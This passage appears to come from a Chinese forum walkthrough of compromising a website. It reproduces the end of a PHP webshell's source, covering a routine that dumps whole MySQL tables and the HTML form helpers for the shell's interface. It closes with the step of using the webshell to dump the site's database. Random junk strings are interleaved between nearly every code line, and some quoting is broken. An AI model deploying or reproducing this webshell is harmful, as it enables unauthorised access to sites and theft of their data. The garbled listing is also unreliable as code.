1789.                         $tabledump .= ",\n";
      
1790.                 } else {
      $ i7 q4 `9 [. j/ [7 j, Y: H
1791.                         $firstfield=0;
      
1792.                 }
      
1793.                 $tabledump .= "   $field[Field] $field[Type]";
      4 C, s: d( s- ~0 |2 g+ j$ v
1794.                 if (!empty($field["Default"])) {
      3 a2 x1 G, G$ f; k. m. b
1795.                         $tabledump .= " DEFAULT '$field[Default]'";
      
1796.                 }
      
1797.                 if ($field['Null'] != "YES") {
      
1798.                         $tabledump .= " NOT NULL";
      
1799.                 }
      
1800.                 if ($field['Extra'] != "") {
      
1801.                         $tabledump .= " $field[Extra]";
      # [1 k' _3 a+ D( y& n
1802.                 }
      
1803.         }
        R5 \- o; `; [2 P* T; j0 d
1804.         fr($fields);
      
1805.         $keys = q("SHOW KEYS FROM $table");
      
1806.         while ($key = mysql_fetch_array($keys)) {
      # D# z* x4 f; w, ^% X0 z* Y% j2 s+ H
1807.                 $kname=$key['Key_name'];
      ! `) ~. e' N7 D9 G/ t
1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
      
1809.                         $kname="UNIQUE|$kname";
      / Y2 M* ~# s+ l" [
1810.                 }
      : p3 z# ~3 {2 _! @% s+ w
1811.                 if(!is_array($index[$kname])) {
      $ ]' [3 t, S( F  w2 F3 q# k
1812.                         $index[$kname] = array();
      
1813.                 }
      ' L# m' s+ a% G. z1 d
1814.                 $index[$kname][] = $key['Column_name'];
      
1815.         }
      4 @) o& b4 {$ ?( D
1816.         fr($keys);
      
1817.         while(list($kname, $columns) = @each($index)) {
      ; Z# i/ x1 Z- i9 ]4 L
1818.                 $tabledump .= ",\n";
      4 i+ B* T0 t( |' f- g( U, A
1819.                 $colnames=implode($columns,",");
      $ W" m; j, |( |& n" Z! z. j
1820.                 if ($kname == "PRIMARY") {
      
1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";
      ' [. q  q' N9 v* u
1822.                 } else {
      2 W7 I# F# r* O( \' I0 N$ C% Z3 s
1823.                         if (substr($kname,0,6) == "UNIQUE") {
      
1824.                                 $kname=substr($kname,7);
      3 x* [0 K9 ]8 M  }
1825.                         }
      
1826.                         $tabledump .= "   KEY $kname ($colnames)";
      % b  i# F( h' S5 s
1827.                 }
      5 Y4 e# X4 Y4 `6 F0 d
1828.         }
      
1829.         $tabledump .= "\n);\n\n";
      # `3 _9 r+ ^( x+ t' S
1830.         if ($fp) {
      
1831.                 fwrite($fp,$tabledump);
      
1832.         } else {
      : J- v2 f" d% m
1833.                 echo $tabledump;
      
1834.         }
      
1835.         $rows = q("SELECT * FROM $table");
      ) V* Q; h/ o: D% p7 [* h; {
1836.         $numfields = mysql_num_fields($rows);
      ; _" \; K5 u8 M( e
1837.         while ($row = mysql_fetch_array($rows)) {
      
1838.                 $tabledump = "INSERT INTO $table VALUES(";
      7 T  v- B: C/ {2 b% ^
1839.                 $fieldcounter=-1;
      5 g. Z3 c$ ^# m/ v4 |% X( r) s$ y
1840.                 $firstfield=1;
      : r3 c) M: m- O
1841.                 while (++$fieldcounter<$numfields) {
      2 A9 Y! k" n  \* i# V, m" M+ }0 a
1842.                         if (!$firstfield) {
      
1843.                                 $tabledump.=", ";
      
1844.                         } else {
      , k8 N0 y7 J; J- [/ F* n2 D4 m
1845.                                 $firstfield=0;
      
1846.                         }
      2 J  o  c1 Z( n, ?' u- s
1847.                         if (!isset($row[$fieldcounter])) {
      ( c( ]4 F& X0 R3 [/ f& I2 t0 ^! l. e
1848.                                 $tabledump .= "NULL";
      8 z& D0 T" r) M' |
1849.                         } else {
      
1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
      
1851.                         }
      . C9 |! w& {5 z- n! R) ]! |
1852.                 }
      
1853.                 $tabledump .= ");\n";
      
1854.                 if ($fp) {
      4 @2 W" A. @$ l6 l. d2 [( S! X
1855.                         fwrite($fp,$tabledump);
      
1856.                 } else {
      
1857.                         echo $tabledump;
      
1858.                 }
      
1859.         }
      ( c1 }, Y8 ~: _2 [. ~6 `* F+ }+ z
1860.         fr($rows);
      1 a# }; G, |# k5 k8 ~9 t: b
1861.         if ($fp) {
      ! \+ J+ O7 k- t8 F
1862.                 fwrite($fp,"\n");
      
1863.         } else {
      
1864.                 echo "\n";
      
1865.         }
      * u! A* K5 z2 n7 v3 F
1866. }
      
1867. function ue($str){
      
1868.         return urlencode($str);
      8 R6 o) ~) T5 G2 z, [
1869. }
      * V7 e/ D3 Q5 Y/ o! t' A( d
1870. function p($str){
      . [" T8 h, t0 F
1871.         echo $str."\n";
      8 Y% g2 x  w8 }/ v1 s6 A
1872. }
      
1873. function tbhead() {
      # l( ^2 {$ S* Z
1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
      5 c" \6 G. r2 {# ^3 p6 n- n+ q
1875. }
      1 u5 u9 G% ~; m% ^
1876. function tbfoot(){
      
1877.         p('</table>');
      9 r  ?+ m4 l3 n- ~* I
1878. }
      % H2 W: ^' D, K6 M
1879. function makehide($name,$value=''){
      / l5 l, s8 b1 Y4 i! S
1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
      
1881. }
      
1882. function makeinput($arg = array()){
      
1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
      
1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
      ( e" \. l  I5 G8 }
1885.         !$arg['type'] && $arg['type'] = 'text';
      4 V- r2 _' }! I6 d& B! O  T
1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
      
1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
      
1888.         if ($arg['newline']) {
      
1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
      : Q) [7 W8 I: X% B% d& M* Q
1890.         } else {
      : R" b3 M) z4 c3 K
1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
      9 Q+ b4 E( P6 }9 G4 ?, v* c
1892.         }
      - i/ ^* h2 v8 s- L: ]; O) e+ z
1893. }
      
1894. function makeselect($arg = array()){
      / O6 p. N% H+ s. H" \8 g
1895.         if ($arg['onchange']) {
      9 m/ N! S0 ]$ h
1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';
      
1897.         }
      
1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
      ) e9 l- \3 I& V
1899.         if ($arg['newline']) p('<p>');
      5 t# I/ }4 M) G) y& a8 g
1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
      
1901.                 if (is_array($arg['option'])) {
      
1902.                         foreach ($arg['option'] as $key=>$value) {
      , R- E$ A0 U' v/ V' z
1903.                                 if ($arg['selected']==$key) {
      
1904.                                         p("<option value="$key" selected>$value</option>");
      
1905.                                 } else {
      
1906.                                         p("<option value="$key">$value</option>");
      
1907.                                 }
      ! d' K1 l6 b1 X4 c; A
1908.                         }
      & x, E" |( q/ ]+ M0 k! w
1909.                 }
      
1910.         p("</select>");
      0 o. }3 Z, i$ Z
1911.         if ($arg['newline']) p('</p>');
      
1912. }
      
1913. function formhead($arg = array()) {
      
1914.         !$arg['method'] && $arg['method'] = 'post';
      
1915.         !$arg['action'] && $arg['action'] = $self;
      : g/ X" r3 D0 {0 W" u& Z
1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
      ; M* R! b: [9 p/ p' A8 @5 U# Y
1917.         !$arg['name'] && $arg['name'] = 'form1';
      % o  s8 s( S9 U0 Y. u
1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
      
1919.         if ($arg['title']) {
      " u3 B% i: ^- R2 H, j$ v  z
1920.                 p('<h2>'.$arg['title'].' »</h2>');
      7 t. N" |1 ~$ |: e5 O( g: e
1921.         }
      . ?' q& @8 I  x0 m
1922. }
      ! e9 Y0 b3 H% H; D8 s& c' x, J( O, y) A
1923.        
      # n3 b, K* }8 F
1924. function maketext($arg = array()){
      
1925.         !$arg['cols'] && $arg['cols'] = 100;
      5 z, g; v' F# G; {9 J+ _- D3 B
1926.         !$arg['rows'] && $arg['rows'] = 25;
      
1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
      # A& ]. k1 }9 y( U. X) R1 ?2 |
1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
      
1929. }
      
1930. 
      + {; G6 @4 ^4 c9 X' S
1931. function formfooter($name = ''){
      2 l9 @9 m( Y& G; ]" X
1932.         !$name && $name = 'submit';
      ; n5 q% D: D* Z) E' w
1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
        Z7 e8 ~! e; T9 r6 h0 N' |
1934.         p('</form>');
      : x! b5 Y' Z1 Z) C* J6 U
1935. }
      . L1 @. m; {$ A
1936. 
      
1937. function formfoot(){
      
1938.         p('</form>');
      
1939. }
      ) S7 i- L& [# I# I) b! m
1940. 
      
1941. // 调试函数
      - e( |7 Q' t: d( _( ]
1942. function pr($a) {
      
1943.         echo '<pre>';
      , c# Q' A4 y  A( f
1944.         print_r($a);
      8 n. @( r7 C8 o6 W/ }6 B) K8 b: L
1945.         echo '</pre>';
      
1946. }
      
1947. 
      
1948. ?>

复制代码

11、最后通过大码对网站数据库进行脱库
5 h* R) G; N5 q0 D; A2 V) @' H

: k$ t; G6 J  r